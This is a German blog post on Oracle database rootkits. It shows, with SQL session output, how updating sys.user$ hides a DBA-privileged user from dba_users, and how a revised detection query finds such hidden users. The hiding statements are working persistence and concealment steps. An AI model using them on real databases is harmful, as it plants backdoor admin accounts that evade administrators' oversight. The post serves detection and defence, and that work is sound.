Archive for the ‘rootkit’ Category

Unsichtbare Benutzer durch Datenmanipulation

Montag, Dezember 24th, 2007

Auf der Deepsec-Konferenz gab David Litchfield eine Präsentation zum Thema „In-Memory Rootkits„.  Beiläufig erwähnte er auch die Möglichkeit, unsichtbare Benutzer durch Modifikation der Tablespacenummer zu erzeugen („update sys.user$ set datats#=31337 where user#=76„).Um diese unsichtbaren Benutzer zu finden, riet David, das folgende Statement zu verwenden („SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS„).

————- Tests auf 10.2.0.3 mit Oct 2007 CPU ——————–

— Benutzer U1 mit DBA Rechten erzeugen

SQL> create user u1 identified by u1;

SQL> grant dba to u1;

SQL> select user#, name, datats# from sys.user$;

         0 SYS                                     0

         1 PUBLIC                                  0

        76 U1                                      5

 

— datats# auf einen nicht existierenden Wert setzen

SQL> update sys.user$ set datats#=31337 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— Vergleich sys.user$ mit dba_users

— Wie eine Suche mit Google zeigt, wird dies von vielen verwendet, um unsichtbare Benutzer zu verwenden 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

— Aber funktioniert dies immer?

 

— Warum nur eine Spalte updaten?

— Wir ändern einfach den type# auf 2 (Neustart der Datenbank ist notwendig) 

SQL> update sys.user$ set type#=2 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— Wenn wir das vorgeschlagene Statement laufen lassen,

— wird unser User nicht angezeigt. Diesen Fehler haben

— aber alle gemacht (David, Pete, Alex, …) 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

no rows selected

————-

 

— Zum Testen ist es notwendig, die Datenbank zu starten, da ohne Neustart der Datenbank auch type#<0 funktioniert

SQL> conn u1/u1

 

— Deshalb sollte folgendes Statement verwendet werden

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 Frohe Weihnachten.